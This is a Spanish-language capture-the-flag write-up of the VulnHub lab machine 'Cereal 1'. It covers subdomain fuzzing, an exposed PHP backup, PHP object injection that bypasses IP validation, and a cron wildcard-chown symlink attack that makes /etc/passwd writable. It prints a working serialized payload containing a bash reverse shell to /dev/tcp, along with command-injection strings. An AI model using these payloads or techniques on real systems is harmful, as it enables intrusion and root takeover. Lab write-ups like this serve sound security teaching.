the_open_door
café
ESEN

Cereal 1

VulnHubMediaLinux192.168.1.164

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#vulnhub#vhost#subdomain#backup-disclosure#php-deserialization#object-injection#command-injection#rce#cron#symlink#writable-passwd#privesc
TL;DR. Un puñado de puertos altos y un cereal.ctf obligan a fuzzear virtual hosts hasta dar con secure.cereal.ctf:44441, un panel de ping que serializa objetos. Un backup expuesto (/back_en/index.php.bak) revela la clase pingTest: la validación de IP solo se ejecuta si isValid es false, así que forjar un objeto con isValid=true desde el inicio se salta el filtro y lleva a inyección de comandos como apache. Para root, un cron ejecuta un chown con comodín sobre public_html; un symlink a /etc/passwd lo deja escribible, se elimina la x de root y se hace su.

Reconocimiento

Localizar la máquina en la red

La máquina se levanta en la red local, así que su IP hay que descubrirla. Un barrido ARP la saca por el fabricante de la MAC:

sudo arp-scan -I eth0 --localnet --ignoredups --macfile=/usr/share/arp-scan/ieee-oui.txt

arp-scan devuelve diez hosts de la red local; la 192.168.1.164 aparece resaltada con la MAC 00:0c:29:ea:48:57 de VMware Inc.

Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:4d:d4, IPv4: 192.168.1.80
192.168.1.164   00:0c:29:ea:48:57   VMware, Inc.
192.168.1.136   b0:a4:60:cf:91:26   Intel Corporate
192.168.1.133   98:01:a7:8a:fa:55   Apple, Inc.
192.168.1.129   a4:77:33:d7:4d:4c   Google, Inc.
10 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.509 seconds. 10 responded

Entre móviles, portátiles y el router, la única VMware es la víctima. Responde al ping:

ping -c 1 192.168.1.164

el ping a 192.168.1.164 responde con ttl=64 en 0.931 ms

64 bytes from 192.168.1.164: icmp_seq=1 ttl=64 time=0.931 ms
1 packets transmitted, 1 received, 0% packet loss, time 0ms

TTL 64 sin decrementar → Linux en la misma red, sin saltos de routing.

Escaneo inicial

El escaneo TCP completo devuelve un abanico inusualmente ancho, con una ristra de puertos altos:

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 192.168.1.164

el escaneo descubre catorce puertos abiertos, del 21 al 55555, todos con ttl 64

Not shown: 65520 closed tcp ports (reset)
PORT      STATE SERVICE        REASON
21/tcp    open  ftp            syn-ack ttl 64
22/tcp    open  ssh            syn-ack ttl 64
80/tcp    open  http           syn-ack ttl 64
139/tcp   open  netbios-ssn    syn-ack ttl 64
445/tcp   open  microsoft-ds   syn-ack ttl 64
3306/tcp  open  mysql          syn-ack ttl 64
11111/tcp open  vce            syn-ack ttl 64
22222/tcp open  easyengine     syn-ack ttl 64
22223/tcp open  unknown        syn-ack ttl 64
33333/tcp open  dgi-serv       syn-ack ttl 64
33334/tcp open  speedtrace     syn-ack ttl 64
44441/tcp open  unknown        syn-ack ttl 64
44444/tcp open  cognex-dataman syn-ack ttl 64
55551/tcp open  unknown        syn-ack ttl 64
55555/tcp open  unknown        syn-ack ttl 64
MAC Address: 00:0C:29:EA:48:57 (VMware)

Catorce puertos, y el ttl 64 sin decrementar (misma red, sin saltos) apunta a Linux. Los nombres vce, easyengine, dgi-serv o cognex-dataman no significan nada todavía: son solo lo que /etc/services asocia a esos números. La segunda pasada, con detección de versiones y scripts por defecto, es la que separa el ruido de lo real:

nmap -p21,22,80,139,445,3306,11111,22222,22223,33333,33334,44441,44444,55551,55555 -sCV 192.168.1.164

el escaneo de versiones identifica vsftpd 3.0.3 con login anónimo, OpenSSH 8.0, Apache 2.4.37 en el 80 y el 44441, MariaDB, y marca el resto como tcpwrapped

PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 0        0               6 Apr 12  2021 pub
22/tcp    open  ssh     OpenSSH 8.0 (protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.37 (())
|_http-title: Apache HTTP Server Test Page powered by: Rocky Linux
|_http-server-header: Apache/2.4.37 ()
139/tcp   open  tcpwrapped
445/tcp   open  tcpwrapped
3306/tcp  open  mysql   MariaDB 10.3.24 or later (unauthorized)
11111/tcp open  tcpwrapped
22222/tcp open  tcpwrapped
22223/tcp open  tcpwrapped
33333/tcp open  tcpwrapped
33334/tcp open  tcpwrapped
44441/tcp open  http    Apache httpd 2.4.37 (())
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
44444/tcp open  tcpwrapped
55551/tcp open  tcpwrapped
55555/tcp open  tcpwrapped
Service Info: OS: Unix

Ahora el panorama cambia por completo. Diez de los catorce puertos son tcpwrapped, que no es un servicio: significa que el puerto completa el saludo TCP pero cierra la conexión antes de contestar nada, así que nmap no puede identificar qué hay detrás (típico de un filtro o un envoltorio delante del servicio real). En la práctica, esos diez son ruido puesto ahí para inflar la superficie y hacer perder el tiempo.

Lo que queda de verdad son dos servicios HTTP (el 80 con la página de prueba de Apache sobre Rocky Linux, y el 44441 con otra cosa sin título), un MariaDB que no deja consultar sin credenciales, y un vsftpd 3.0.3 con login anónimo permitido que expone un directorio pub. Ese FTP queda anotado como vía a revisar, pero el camino que acaba abriendo la máquina es el web.

Los catorce puertos se recogen con extractPorts para no arrastrarlos a mano:

extractPorts scan

extractPorts devuelve IP Address 192.168.1.164 y la lista completa de catorce puertos, copiada al portapapeles

Extracting information ...
IP Address: 192.168.1.164
Open ports: 21,22,80,139,445,3306,11111,22222,22223,33333,33334,44441,44444,55551,55555

Ports copied to clipboard

La identificación de los dos servicios web es escueta, y esa escasez ya es un dato:

whatweb 192.168.1.164
whatweb 192.168.1.164:44441

whatweb sobre el 80 devuelve 403 Forbidden con Apache 2.4.37 y el título Apache HTTP Server Test Page powered by: Rocky Linux

http://192.168.1.164 [403 Forbidden] Apache[2.4.37], Country[RESERVED][ZZ],
Email[webmaster@example.com], HTML5, HTTPServer[Apache/2.4.37 ()], IP[192.168.1.164],
PoweredBy[:], Title[Apache HTTP Server Test Page powered by: Rocky Linux]

whatweb sobre el 44441 devuelve 200 OK con Apache 2.4.37 y ni siquiera un título

http://192.168.1.164:44441 [200 OK] Apache[2.4.37], Country[RESERVED][ZZ],
HTTPServer[Apache/2.4.37 ()], IP[192.168.1.164]

El 80 responde 403 con la página de prueba por defecto (nadie ha puesto contenido en la raíz), y el 44441 responde 200 pero sin título ni tecnología detectable. Wappalyzer tampoco añade nada:

Wappalyzer sobre 192.168.1.164 solo detecta Apache HTTP Server 2.4.37, sobre la Test Page de Rocky Linux

Wappalyzer sobre el 44441 devuelve exactamente lo mismo, Apache HTTP Server 2.4.37, sobre la pagina que solo dice Coming soon

Web servers   Apache HTTP Server 2.4.37

Los códigos fuente cierran la idea. El del 80 es la plantilla de Rocky Linux tal cual:

el view-source del 80 muestra el HTML de la Test Page de Rocky Linux, con su favicon y su Bootstrap 3.0.3

<title>Apache HTTP Server Test Page powered by: Rocky Linux</title>
<link rel="shortcut icon" href="https://rockylinux.org/favicon.ico"/>

Y el del 44441, dos palabras:

el view-source del 44441 tiene una sola línea: Coming soon...

Coming soon...

Dos servidores que no enseñan nada por la raíz. Toca enumerar rutas.

Virtual hosting y subdominios

El barrido de rutas contra el 80 sí devuelve algo:

dirsearch -u http://192.168.1.164 --exclude-status=404,403

dirsearch encuentra /admin, /admin/index.php, /blog, /blog/wp-login.php y un phpinfo.php de 75 KB

[16:13:44] 301 -  235B  - /admin  ->  http://192.168.1.164/admin/
[16:13:44] 200 -    2KB - /admin/
[16:13:45] 200 -    2KB - /admin/index.php
[16:13:52] 301 -  234B  - /blog   ->  http://192.168.1.164/blog/
[16:13:53] 200 -    8KB - /blog/
[16:13:53] 200 -    8KB - /blog/wp-login.php
[16:14:11] 200 -   75KB - /phpinfo.php

El wp-login.php delata que el /blog es un WordPress. Un segundo barrido con gobuster y un diccionario mayor confirma los mismos tres hallazgos, que es justo lo que se busca al cruzar dos herramientas:

gobuster dir -u http://192.168.1.164 -w directory-list-2.3-big.txt -t 100 -x php

gobuster confirma /blog, /admin y /phpinfo.php, y se interrumpe al 39% del diccionario

/blog        (Status: 301) [Size: 234] [--> http://192.168.1.164/blog/]
/admin       (Status: 301) [Size: 235] [--> http://192.168.1.164/admin/]
/phpinfo.php (Status: 200) [Size: 76259]
Progress: 995889 / 2547668 (39.09%)^C

El /blog del 80 se ve roto, sin hojas de estilo ni imágenes, pero su contenido regala el dato:

el /blog se ve sin estilos, en HTML plano; el post Update menciona http://cereal.ctf, resaltado

Cereal
Update
Thank you for your patience whilst we get http://cereal.ctf back up and running.
We are in the process of restoring from our backups and hope to be back online within the coming days.
Published 29 May 2021

Dos cosas de una sola captura. La primera, que los recursos no carguen es la firma del virtual hosting: el servidor responde por nombre y las URL absolutas del tema apuntan a un dominio que no resolvemos. La segunda, el propio texto dice cuál es ese dominio, cereal.ctf, y de paso menciona que están restaurando desde copias de seguridad, una pista que reaparece más adelante.

sudo nano /etc/hosts

el /etc/hosts en nano con la línea 192.168.1.164 cereal.ctf añadida al final

127.0.0.1       localhost
127.0.1.1       kali
192.168.1.164   cereal.ctf

Con el nombre resuelto, el blog se ve como debe:

el mismo /blog ahora con su tema aplicado, fondo verde y el post Update centrado

El contenido sigue sin ser gran cosa, pero ahora tenemos un dominio, y con él toca fuzzear subdominios.

El primer intento, contra el puerto 80, se va de vacío:

wfuzz -u http://cereal.ctf -H "Host: FUZZ.cereal.ctf" \
  -w subdomains-top1million-5000.txt --hh=426974

wfuzz procesa las 4989 palabras contra el puerto 80 y filtra todas las respuestas, sin un solo resultado

Target: http://cereal.ctf/
Total requests: 4989

ID        Response   Lines    Word     Chars     Payload
=====================================================================

Total time: 0
Processed Requests: 4989
Filtered Requests: 4989
Requests/sec.: 0

Las 4989 peticiones caen en el filtro --hh=426974, que es el tamaño de la respuesta por defecto: todos los nombres devuelven exactamente la misma página, luego ninguno es un vhost distinto. Ahora bien, un resultado vacío aquí no cierra la vía, solo dice que en el 80 no hay subdominios. Y en esta máquina hay un segundo servidor web, así que se repite la enumeración apuntando al 44441:

wfuzz -u http://cereal.ctf:44441 -H "Host: FUZZ.cereal.ctf" -w subdomains-top1million-5000.txt --hh=15

wfuzz descubriendo el subdominio secure sobre cereal.ctf:44441

 ID        Response   Lines    Word     Chars     Payload
000000036: 200        49 L     140 W    1538 Ch   "secure"

Una sola entrada supera el filtro --hh=15: el subdominio secure responde con 1538 caracteres sobre el puerto 44441.

sudo nano /etc/hosts

el /etc/hosts con secure.cereal.ctf añadido en la misma línea que cereal.ctf

192.168.1.164   cereal.ctf  secure.cereal.ctf

Explotación: deserialización PHP

El panel de ping serializa objetos

secure.cereal.ctf:44441 es un panel que ejecuta ping contra la IP que indiquemos.

Panel "Ping Test" en secure.cereal.ctf:44441: un campo IP Address y la salida de un ping a 127.0.0.1

Lo primero es comprobar que el ping es real y no una animación: pedimos que apunte a nuestra IP y nos ponemos a escuchar el tráfico ICMP.

sudo tcpdump -n -i eth0 -n icmp

el panel Ping Test con nuestra IP 192.168.1.80 en el campo y la salida del ping mostrando tres respuestas con ttl=64

PING 192.168.1.80 (192.168.1.80) 56(84) bytes of data.
64 bytes from 192.168.1.80: icmp_seq=1 ttl=64 time=0.361 ms
64 bytes from 192.168.1.80: icmp_seq=2 ttl=64 time=0.285 ms
64 bytes from 192.168.1.80: icmp_seq=3 ttl=64 time=1.22 ms

tcpdump captura tres pares de ICMP echo request y reply entre 192.168.1.164 y nuestra máquina

16:43:52.971297 IP 192.168.1.164 > 192.168.1.80: ICMP echo request, id 2593, seq 1, length 64
16:43:52.971343 IP 192.168.1.80 > 192.168.1.164: ICMP echo reply,   id 2593, seq 1, length 64
16:43:53.902960 IP 192.168.1.164 > 192.168.1.80: ICMP echo request, id 2593, seq 2, length 64
16:43:53.902987 IP 192.168.1.80 > 192.168.1.164: ICMP echo reply,   id 2593, seq 2, length 64
16:43:54.850381 IP 192.168.1.164 > 192.168.1.80: ICMP echo request, id 2593, seq 3, length 64
16:43:54.850445 IP 192.168.1.80 > 192.168.1.164: ICMP echo reply,   id 2593, seq 3, length 64

Tres echo request desde la víctima: el servidor ejecuta un ping de verdad contra lo que le pasamos. Si por detrás eso acaba en una llamada al sistema, lo natural es probar a concatenar un segundo comando:

127.0.0.1; whoami

el panel Ping Test con el valor 192.168.1.80; whoami escrito en el campo, antes de pulsar Ping!

el panel devuelve la salida vacía tras enviar 127.0.0.1; whoami

(el recuadro de salida se queda en blanco)

No pasa nada. Y tampoco con dsfa || whoami ni con 127.0.0.1 && whoami: ninguna de las variantes habituales de concatenación produce salida. Cuando algo así falla en las tres formas, en vez de seguir probando payloads conviene mirar cómo se manda la petición, y para eso está el código del propio cliente. La web carga un php.js:

El código fuente del panel enseña de dónde sale ese php.js y, sobre todo, qué hace el formulario antes de enviar nada:

el view-source del panel: carga php.js y define submit_form(), que serializa un objeto con ipAddress, le antepone O:8:"pingTest":1: y lo mete en el campo oculto obj

<script src="http://secure.cereal.ctf:44441/php.js"></script>
<script>
function submit_form() {
        var object = serialize({ipAddress: document.forms["ipform"].ip.value});
        object = object.substr(object.indexOf("{"),object.length);
        object = "O:8:\"pingTest\":1:" + object;
        document.forms["ipform"].obj.value = object;
        document.getElementById('ipform').submit();
}
</script>

<form method="POST" action="/" id="ipform" onsubmit="submit_form();">
  <input name="obj" type="hidden" value="">
  <input class="form-control" type="text" name="ip" placeholder="IP Address" required>

Ahí está la explicación de por qué fallaba la concatenación: lo que viaja al servidor no es el campo ip, sino un campo oculto obj con un objeto PHP serializado a mano, O:8:"pingTest":1:{...}. La función que lo construye viene de fuera:

wget http://secure.cereal.ctf:44441/php.js
cat php.js

php.js es una implementación en JavaScript de las funciones serialize y unserialize de PHP

function serialize (mixedValue) {
  //  discuss at: https://locutus.io/php/serialize/
  //  original by: Arpad Ray (mailto:arpad@php.net)
  //   example 1: serialize(['Kevin', 'van', 'Zonneveld'])
  //   returns 1: 'a:3:{i:0;s:5:"Kevin";i:1;s:3:"van";i:2;s:9:"Zonneveld";}'

Es una implementación en JavaScript de la serialize() de PHP. O sea, el formulario no manda la IP suelta: manda un objeto serializado. Lo confirmamos interceptando la petición:

la petición interceptada en Burp lleva el parámetro obj con O:8:"pingTest":1:{s:9:"ipAddress";...} y la respuesta incluye el JavaScript que lo construye

POST / HTTP/1.1
Host: secure.cereal.ctf:44441
Content-Type: application/x-www-form-urlencoded

obj=O:8:"pingTest":1:{s:9:"ipAddress";s:20:"192.168.1.80; whoami";}&ip=192.168.1.80; whoami

Y en la respuesta viene la función que lo arma, que es la pieza que faltaba:

function submit_form() {
    var object = serialize({ ipAddress: document.forms["ipform"].ip.value });
    object = object.substr(object.indexOf("{"), object.length);
    object = "O:8:\"pingTest\":1:" + object;
    document.forms["ipform"].obj.value = object;
    document.getElementById('ipform').submit();
}

Ahí está todo: el cliente construye a mano un objeto pingTest con una sola propiedad (ipAddress), y ese 1: del principio es precisamente el número de propiedades que el servidor va a deserializar. Si el objeto solo trae ipAddress, el resto de propiedades de la clase se quedan con su valor por defecto. Guardamos ese detalle, porque es exactamente lo que hay que romper.

Backup expuesto: el código fuente

Si el cliente serializa, en algún sitio del servidor hay un unserialize, y entender ese código es la diferencia entre disparar payloads a ciegas y saber qué se está haciendo. Volvemos a enumerar, esta vez contra el subdominio:

gobuster dir -u http://secure.cereal.ctf:44441 -w directory-list-2.3-big.txt -t 20

gobuster sobre el subdominio recorre el diccionario entero y encuentra /php, /style, /index y, al final, /back_en

/php         (Status: 200) [Size: 3699]
/style       (Status: 200) [Size: 3118]
/index       (Status: 200) [Size: 1538]
/back_en     (Status: 301) [Size: 247] [--> http://secure.cereal.ctf:44441/back_en/]
Progress: 1273833 / 1273834 (100.00%)

Casi al final del diccionario aparece /back_en, un nombre que huele a backend y a copias de seguridad. Listarlo no está permitido, así que hay que adivinar los nombres de fichero, y aquí entra la segunda idea: los editores y los despliegues descuidados dejan copias con extensión .bak, y un .php.bak no lo interpreta el servidor, lo sirve como texto plano.

wfuzz -u http://secure.cereal.ctf:44441/back_en/FUZZ.php.bak \
  -w directory-list-2.3-medium.txt --hc=404 --hh=199

wfuzz encuentra index.php.bak con 1814 caracteres frente a las 487 respuestas filtradas

* Wfuzz 3.1.0 - The Web Fuzzer                         *

Target: http://secure.cereal.ctf:44441/back_en/FUZZ.php.bak
Total requests: 220564

ID           Response   Lines    Word     Chars       Payload
000000016:   200        79 L     155 W    1814 Ch     "index"

Total time: 0
Processed Requests: 488
Filtered Requests: 487
wget http://secure.cereal.ctf:44441/back_en/index.php.bak
cat index.php.bak

el wget descarga los 1814 bytes del index.php.bak y el cat muestra la clase pingTest con sus funciones validate y ping, y el unserialize del parametro obj al final

Target: http://secure.cereal.ctf:44441/back_en/FUZZ.php.bak
Total requests: 220564

ID         Response   Lines    Word     Chars     Payload
000000016: 200        79 L     155 W    1814 Ch   "index"

Processed Requests: 488
Filtered Requests: 487

A la petición número 16 salta index.php.bak, con 1814 caracteres frente a las 199 de la respuesta por defecto que filtra --hh=199.

index.php.bak revelando la clase pingTest: $isValid=False, validate() comprueba filter_var solo si !isValid, y ping() hace shell_exec("ping -c 3 $ipAddress") cuando isValid es True

La lógica es la clave:

class pingTest {
    public $ipAddress = "127.0.0.1";
    public $isValid = False;
    public $output = "";
    function validate() {
        if (!$this->isValid) {                          // solo valida si NO es válido
            if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
                $this->isValid = True;
        }
        $this->ping();
    }
    public function ping() {
        if ($this->isValid)
            $this->output = shell_exec("ping -c 3 $this->ipAddress");   // sin sanear
    }
}
$pingTest = unserialize(urldecode($_POST['obj']));
$pingTest->validate();

Bypass con isValid = true

La comprobación de que ipAddress es una IP solo se ejecuta cuando isValid es false. Si enviamos un objeto serializado con isValid ya en true, validate() se salta el filtro y llama directo a ping(), que mete ipAddress en shell_exec sin sanear. Es inyección de objetos PHP: concatenamos la reverse shell en ipAddress.

Antes de disparar la shell, dejamos un nc a la escucha:

nc -nlvp 1234
// deserializationAttack.php
class pingTest {
    public $ipAddress = "; bash -c 'bash -i &> /dev/tcp/192.168.1.80/1234 0>&1'";
    public $isValid = True;
    public $output = "";
}
echo urlencode(serialize(new pingTest));

La clase se copia literalmente del .bak, que es lo que garantiza que el nombre y el número de propiedades coincidan con lo que el servidor espera al deserializar:

el cat del index.php.bak con la declaración de la clase pingTest y sus tres propiedades resaltadas en rojo, junto a la anotación CTRL + C

<?php
class pingTest {
    public $ipAddress = "127.0.0.1";
    public $isValid = False;
    public $output = "";

el nano abriendo deserializationAttack.php en el directorio de trabajo

deserializationAttack.php declara la clase con isValid a True y php imprime la cadena serializada y urlencodeada

O%3A8%3A%22pingTest%22%3A3%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A54%3A%22%3B+bash+-c+%27bash+-i+%26%3E+%2Fdev%2Ftcp%2F192.168.1.80%2F1234+0%3E%261%27%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3Bs%3A6%3A%22output%22%3Bs%3A0%3A%22%22%3B%7D

La diferencia con lo que manda el formulario legítimo está en un solo carácter del principio: O:8:"pingTest":3: en vez de :1:. Ahora el objeto declara tres propiedades, y entre ellas viaja s:7:"isValid";b:1, es decir, el booleano ya en verdadero.

Se envía el resultado en el parámetro obj:

La cadena serializada con isValid=True se envía en obj vía POST a secure.cereal.ctf:44441; nc recibe la shell desde 192.168.1.164 con uid=48(apache)

Shell como apache.

Escalada de privilegios

Tratamiento de la TTY

La shell que llega es de las crudas: sin autocompletado, sin historial y sin poder usar Ctrl+C sin perderla. El tratamiento habitual la convierte en una terminal completa:

script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
reset xterm

el script /dev/null avisa cannot execute binary file pero deja la shell, y tras el Ctrl+Z, el stty raw -echo; fg y el reset xterm vuelve el prompt bash-4.4$

bash-4.4$ script /dev/null -c bash
/usr/bin/bash: /usr/bin/bash: cannot execute binary file
Script done, file is /dev/null
bash-4.4$ ^Z
zsh: suspended  nc -nlvp 1234
# stty raw -echo; fg
[1]  + continued  nc -nlvp 1234
                             bash-4.4$ reset xterm

El cannot execute binary file no impide nada: el script ya ha creado el pseudoterminal, que es lo que buscábamos. Faltan las variables de entorno y el tamaño de la ventana, que hay que copiar del terminal real para que nano o vim no se pinten torcidos:

export SHELL=bash TERM=xterm
stty rows 49 cols 211
stty size

el export y el stty rows 49 cols 211 aplicados, y el stty size devolviendo 49 211

bash-4.4$ stty size
49 211

Con la terminal usable, el primer vistazo al directorio en el que hemos caído:

alias ls="ls -la"
ls

el ls -la del directorio muestra back_en, index.php, php.js y style.css, todos propiedad de rocky:apache

drwxrwxr-x. 3 rocky apache   69 May 29  2021 .
drwxrwxr-x. 4 rocky apache  147 May 29  2021 ..
drwxrwxr-x. 2 rocky apache   44 May 29  2021 back_en
-rwxrwxr-x. 1 rocky apache 1814 May 29  2021 index.php
-rwxrwxr-x. 1 rocky apache 3699 May 29  2021 php.js
-rwxrwxr-x. 1 rocky apache 3118 May 29  2021 style.css

Estamos dentro del public_html del usuario rocky, y los ficheros son de rocky:apache. Nosotros somos apache, es decir, tenemos escritura en el directorio del otro usuario. Ese detalle es el que acaba dando root.

user flag

ls /
ls /home/rocky
cat /home/rocky/local.txt

el listado de /home/rocky muestra local.txt y public_html, y el cat devuelve la flag de usuario

bash-4.4$ ls /home/rocky/
-rwxrwxr-x. 1 rocky apache   33 May 29  2021 local.txt
drwxrwxr-x. 3 rocky apache   69 May 29  2021 public_html

bash-4.4$ cat /home/rocky/local.txt
aaa87365bf3dc0c1a82aa14b4ce26bbc

Un cron con chown y comodín

Para ver qué procesos corren sin tener privilegios, pspy (repo), servido desde el atacante:

cd /home/krmena/tools
python3 -m http.server 80

el http.server levantado en el directorio de herramientas del atacante

cd /tmp/
wget http://192.168.1.80/pspy64
wget http://192.168.1.80/Linux-Su-Force.sh

el wget baja los 3 MB de pspy64 y los 1600 bytes de Linux-Su-Force.sh al /tmp de la víctima

2025-04-06 00:34:10 (49.3 MB/s) - 'pspy64' saved [3104768/3104768]
2025-04-06 00:34:28 (1.67 MB/s) - 'Linux-Su-Force.sh' saved [1600/1600]

El segundo script no hace falta para monitorizar procesos (sirve para probar contraseñas contra su), pero se deja ahí por si acaso.

chmod +x *
./pspy64

pspy 1.2.1 arranca con su banner ASCII y empieza a imprimir eventos de procesos

pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
Config: Printing events (colored=true): processes=true | file-system-events=false
Draining file system events due to startup ...
done

A los pocos segundos destapa un script programado:

pspy captura CROND y /bin/bash /usr/share/scripts/chown.sh ejecutándose como UID=0

Su contenido:

cat /usr/share/scripts/chown.sh
# chown rocky:apache /home/rocky/public_html/*

El chown se aplica sobre public_html/*, un directorio en el que apache puede escribir. El comodín * expande lo que haya dentro, y chown sigue los enlaces simbólicos: si dejamos un symlink que apunte a /etc/passwd, el cron acabará cambiando la propiedad de /etc/passwd.

cd /home/rocky/public_html
ln -s /etc/passwd passwd

chown.sh muestra chown rocky:apache /home/rocky/public_html/*; en public_html se crea un symlink passwd -&gt; /etc/passwd

bash-4.4$ cat /usr/share/scripts/chown.sh
chown rocky:apache /home/rocky/public_html/*
bash-4.4$ cd /home/rocky/public_html
bash-4.4$ ln -s /etc/passwd passwd

El script hace chown rocky:apache /home/rocky/public_html/*; dejamos ahí el symlink passwd -> /etc/passwd para que el cron cambie la propiedad del /etc/passwd real.

/etc/passwd escribible -> root

Puesto el enlace, solo queda esperar a que el cron pase. Para no ir comprobando a mano, dejamos un watch vigilando los permisos del fichero:

watch -n 0.5 ls -l /etc/passwd

el comando watch -n 0.5 ls -l /etc/passwd tecleado en la shell de la víctima

Antes de que pase el cron, el fichero es de root y solo root escribe en él:

watch muestra /etc/passwd con propietario root:root y permisos -rwxrwxr-x

Every 0.5s: ls -l /etc/passwd

-rwxrwxr-x. 1 root root 1549 May 29  2021 /etc/passwd

Tras la siguiente pasada del cron, cambia:

watch muestra /etc/passwd con permisos -rwxrwxr-x y propietario rocky, grupo apache

Every 0.5s: ls -l /etc/passwd

-rwxrwxr-x. 1 rocky apache 1549 May 29  2021 /etc/passwd

El chown ha seguido el symlink: /etc/passwd pertenece ahora a rocky y al grupo apache, y ese grupo es el nuestro, así que el fichero es escribible. Lo editamos para quitar la x del campo de contraseña de root:

nano /etc/passwd

el comando nano /etc/passwd tecleado desde el public_html de rocky

el /etc/passwd abierto en nano con la primera línea cambiada a root::0:0:root:/root:/bin/bash

root::0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
rocky:x:1000:1000::/home/rocky:/bin/bash
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin

Esa x es un puntero: significa "la contraseña de este usuario está en /etc/shadow". Al dejar el campo vacío le estamos diciendo al sistema que la cuenta no tiene contraseña, así que su root no tiene nada que pedir.

su root
id

el su root entra sin pedir contraseña y el id devuelve uid=0(root) gid=0(root) groups=0(root)

bash-4.4$ su root
[root@cereal public_html]# id
uid=0(root) gid=0(root) groups=0(root)
cat /root/proof.txt

Shell como root@cereal tras su; cat /root/proof.txt: "Well done! You have completed Cereal." y Root Flag: 1aeb5db4e979543cb807cfd90df77763

1aeb5db4e979543cb807cfd90df77763

Máquina pwneada.

Cadena de ataque

cereal.ctf (vhost)  ->  fuzz de subdominios en :44441  ->  secure.cereal.ctf
    └─> panel de ping (objetos serializados)  ->  /back_en/index.php.bak (código fuente)
            └─> objeto con isValid=true  ->  salta el filtro  ->  shell_exec (RCE como apache)
                    └─> cron chown rocky:apache public_html/*  ->  symlink a /etc/passwd
                            └─> /etc/passwd escribible  ->  quitar la x de root  ->  su root

Lecciones aprendidas

  • El virtual host puede esconder el servicio real en otro puerto. El subdominio no salía en el 80; sí en el 44441. Hay que fuzzear en cada servicio HTTP.
  • Un .bak sirve el código en claro. Con la fuente delante, la deserialización deja de ser a ciegas: se ve exactamente qué propiedad manipular.
  • No hace falta una cadena POP para explotar unserialize. Basta con controlar una propiedad de estado (isValid) para saltarse la validación y llegar al shell_exec.
  • chown/chmod con comodín + cron = symlink attack. El comodín expande nuestro enlace y la operación privilegiada acaba aplicándose sobre /etc/passwd.
  • Un /etc/passwd escribible es root. Quitar la x de root (o inyectar un usuario con UID 0) es la vía más limpia a uid=0.
Cheatsheet de comandos 10 comandos

Repaso rápido